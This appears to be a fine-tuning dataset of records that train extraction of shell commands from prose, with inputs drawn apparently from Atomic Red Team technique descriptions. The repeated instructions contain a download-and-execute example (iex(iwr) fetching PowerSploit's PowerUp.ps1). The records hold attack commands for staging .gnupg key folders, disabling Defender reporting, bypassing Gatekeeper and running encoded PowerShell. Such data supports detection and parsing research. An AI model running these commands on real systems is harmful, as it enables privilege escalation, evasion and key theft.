    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can transfer the .gnupg directory to a staging folder by executing this command: mkdir #{output_folder}\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\;",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\\\;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Word document will trigger a dialogue box requiring user confirmation, then attempt to launch PowerShell with DDEAUTO for script execution, initiated by this command: start \"$PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\"",
    "output": "{\"command_list\": [\"start \\\"$PathToAtomicsFolder\\\\T1559.002\\\\bin\\\\DDE_Document.docx\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry can be edited to turn off Windows error reporting, a feature that allows users to report application issues, via the following commands: reg add HKLM64\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\nreg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add HKLM64\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\nreg add HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Gatekeeper bypass can be achieved with the command: sudo xattr -d com.apple.quarantine #{app_path}",
    "output": "{\"command_list\": [\"sudo xattr -d com.apple.quarantine #{app_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check if a specific remote service is running, an adversary can use WMI with the following command: wmic /node:\"#{node}\" service where (caption like \"%#{service_search_string}%\")",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{node}\\\" service where (caption like \\\"%#{service_search_string}%\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves removing any previous redcanary.cab file silently, followed by executing this command to copy the file:\ndel %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} \"#{replace_cab}\" %TEMP% /A\n",
    "output": "{\"command_list\": [\"del %TEMP%\\\\redcanary.cab >nul 2>&1\\n#{Path_replace} \\\"#{replace_cab}\\\" %TEMP% /A\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This example from the 2021 Threat Detection Report by Red Canary demonstrates obfuscated PowerShell execution via the command: powershell.exe -e  #{obfuscated_code}",
    "output": "{\"command_list\": [\"powershell.exe -e  #{obfuscated_code}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
